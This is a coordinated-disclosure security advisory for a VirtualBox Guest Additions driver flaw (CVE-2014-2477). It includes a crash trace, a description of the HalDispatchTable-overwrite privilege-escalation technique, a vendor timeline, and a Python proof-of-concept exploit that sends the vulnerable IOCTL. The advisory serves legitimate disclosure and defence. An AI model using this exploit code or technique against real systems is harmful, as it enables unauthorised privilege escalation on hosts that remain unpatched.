Title: Oracle VirtualBox Guest Additions Arbitrary Write Privilege Escalation
Advisory ID: KL-001-2014-001
Publication Date: 07.15.2014
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2014-001.txt


1. Vulnerability Details

Affected Vendor: Oracle
Affected Product: VirtualBox Guest Additions
Affected Versions: 4.3.8 - 4.3.10
Platform: Microsoft XP SP3
CWE Classification: CWE-123: Write-what-where Condition
Impact: Arbitrary code execution
Attack vector: IOCTL
CVE ID: CVE-2014-2477

2. Vulnerability Description

     A vulnerability within VBoxGuest module allows an attacker to
     inject memory they control into an arbitrary location they
     define. This can be used by an attacker to overwrite
     HalDispatchTable+0x4 and execute arbitrary code by subsequently
     calling NtQueryIntervalProfile.

3. Technical Description

     A userland process can create a handle into the VBoxGuest device
     and subsequently make DeviceIoControlFile() calls into that
     device. During the IRP handler routine for 0x0022a040 the user
     provided OutputBuffer address is not validated. This allows an
     attacker to specify an arbitrary address and write (or overwrite)
     the memory residing at the specified address. This is classicaly
     known as a write-what-where vulnerability and has well known
     exploitation methods associated with it.

     A stack trace from our fuzzing can be seen below. In our fuzzing
     testcase, the specified OutputBuffer in the DeviceIoControlFile()
     call is 0xffff0000.

     STACK_TEXT:
     f824a9d4 805241e0 00000050 ffff0000 00000001 nt!KeBugCheckEx+0x1b
     f824aa20 804e172b 00000001 ffff0000 00000000 nt!MmAccessFault+0x6f5
     f824aa20 804eca3b 00000001 ffff0000 00000000 nt!KiTrap0E+0xcc
     f824aaf0 804ecaba ffa74248 f824ab3c f824ab30 nt!IopCompleteRequest+0x92
     f824ab40 806f5c0e 00000000 00000000 f824ab58 nt!KiDeliverApc+0xb3
     f824ab40 806f00b3 00000000 00000000 f824ab58 hal!HalpApcInterrupt2ndEntry+0x31
     f824abcc 804e546c ffa74248 ffa74208 00000000 hal!KfLowerIrql+0x43
     f824abec 804ecad4 ffa74248 811772d8 00000000 nt!KeInsertQueueApc+0x4b
     f824ac20 faa36123 811772d8 81297558 00000000 nt!IopfCompleteRequest+0x1d8
     f824ac34 804e3807 0000008c 0000008c 806f0070 VBoxGuest+0x1123
     f824ac44 80568191 ffa7429c 811772d8 ffa74208 nt!IopfCallDriver+0x31
     f824ac58 805770ca 812971a8 ffa74208 811772d8 nt!IopSynchronousServiceTail+0x70
     f824ad00 805795e3 00000058 00000000 00000000 nt!IopXxxControlFile+0x611
     f824ad34 804de7ec 00000058 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
     f824ad34 7c90e526 00000058 00000000 00000000 nt!KiFastCallEntry+0xf8
     0021fa54 7c90d28a 1d1adc9a 00000058 00000000 ntdll!KiIntSystemCall+0x6
     0021fa58 1d1adc9a 00000058 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc

     Reviewing the TRAP_FRAME at the time of crash we can see
     IopCompleteRequest() copying data from InputBuffer into the
     OutputBuffer. InputBuffer is another parameter provided to the
     DeviceIoControlFile() function and is therefore controllable by
     the attacker. The edi register contains the invalid address
     provided during the fuzz testcase.

     ErrCode = 00000002
     eax=0000008c ebx=ffa74208 ecx=00000023 edx=00000000 esi=811eabf0 edi=ffff0000
     eip=804eca3b esp=f824aaac ebp=f824aaf0 iopl=0         nv up ei pl nz na po nc
     cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010202
     nt!IopCompleteRequest+0x92:
     0008:804eca3b f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

     A write-what-where vulnerability can be leveraged to obtained
     escalated privileges. To do so, an attacker will need to allocate
     memory in userland that is populated with shellcode designed to
     find the Token for PID 4 (System) and then overwrite the token
     for its own process. By leveraging the vulnerability it is then
     possible to overwrite the pointer at HalDispatchTable+0x4 with a
     pointer to our shellcode. Calling NtQueryIntervalProfile() will
     subsequently call HalDispatchTable+0x4, execute our shellcode,
     and elevate the privilege of the exploit process.

4. Mitigation and Remediation Recommendation

     The vendor has patched this vulnerability. The patch information
     is here:
     http://www.oracle.com/technetwork/topics/security/cpujul2014-1972956.html

5. Credit

     This vulnerability was discovered by Matt Bergin of KoreLogic
     Security, Inc.

6. Disclosure Timeline

     04.28.14 - KoreLogic contacts Oracle with vulnerability report and PoC.
     04.29.14 - Oracle acknowledges receipt of vulnerability report and PoC.
     05.02.14 - Oracle assigns tracking to this vulnerability report
		and states that it will be patched in the CPU cycle,
		with credit for the report given to KoreLogic. Oracle
		also states monthly updates will be provided.
     05.22.14 - Oracle provides KoreLogic with status update
		indicating the vulnerability will be patched in an
		upcoming CPU and states that they will publicly
		acknowledge KoreLogic in the associated public
		bulletin.
     06.11.14 - KoreLogic informs Oracle that 30 days have passed
		since vendor acknowledgement of the initial report.
		KoreLogic requests CVE number for the vulnerability,
		if there is one.  KoreLogic also requests vendor's
		public identifier for the vulnerability along with the
		expected disclosure date.
     06.11.14 - Oracle responds with CVE number, expected release date
                of 07.15.14 and public identifier (CVE number).
     06.24.14 - Oracle provides status update.
     07.02.14 - 45 business days have elapsed since vendor
                acknowledged vulnerability.
     07.11.14 - Oracle provides expected CPU release time.
     07.15.14 - Coordinated public release of vulnerability and vendor
                patch.

7. Proof of Concept

     # KL-001-2014-001 : Oracle VirtualBox Guest Additions Arbitrary Write Privilege Escalation
     # Oracle VirtualBox 4.3.8-4.3.10
     #
     # Matt Bergin (KoreLogic/Smash the Stack)
     # thanks to bla
     #

     from ctypes import *
     from struct import pack
     from os import getpid,system
     from sys import exit
     EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA
     GetProcAddress,DeviceIoControlFile,NtQueryIntervalProfile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.ntdll.NtQueryIntervalProfile,windll.kernel32.CloseHandle
     VirtualProtect = windll.kernel32.VirtualProtect
     INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0

     # thanks to offsec for the concept
     # I re-wrote the code as to not fully insult them :)
     def getBase(name=None):
     	retArray = c_ulong*1024
     	ImageBase = retArray()
     	callback = c_int(1024)
     	cbNeeded = c_long()
     	EnumDeviceDrivers(byref(ImageBase),callback,byref(cbNeeded))
     	for base in ImageBase:
     		driverName = c_char_p("\x00"*1024)
     		GetDeviceDriverBaseNameA(base,driverName,48)
     		if (name):
     			if (driverName.value.lower() == name):
     				return base
     		else:
     			return (base,driverName.value)
     	return None

     handle = CreateFileA("\\\\.\\VBoxGuest",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None)
     print "[+] Handle \\\\.\\VBoxGuest @ %s" % (handle)
     NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0xffff)),0x1000|0x2000,0x40)
     buf = "\xcc\xcc\xcc\xcc"*35
     WriteProcessMemory(-1, 0x1, "\x90"*0x6000, 0x6000, byref(c_int(0)))
     WriteProcessMemory(-1, 0x1, buf, 140, byref(c_int(0)))
     #Overwrite Pointer
     kBase,kVer = getBase()
     hKernel = LoadLibraryExA(kVer,0,1)
     HalDispatchTable = GetProcAddress(hKernel,"HalDispatchTable")
     HalDispatchTable -= hKernel
     HalDispatchTable += kBase
     HalDispatchTable += 0x4
     print "[+] Kernel @ %s, HalDispatchTable @ %s" % (hex(kBase),hex(HalDispatchTable))
     DeviceIoControlFile(handle,NULL,NULL,NULL,byref(c_ulong(8)),0x22a040,0x1,140,HalDispatchTable-40,0)
     print "[+] HalDispatchTable+0x4 overwritten"
     CloseHandle(handle)
     NtQueryIntervalProfile(c_ulong(2),byref(c_ulong()))
     #Something bad happened
     exit(0)

The contents of this advisory are copyright(c) 2014 KoreLogic, Inc.
and are licensed under a Creative Commons Attribution Share-Alike 4.0
(United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

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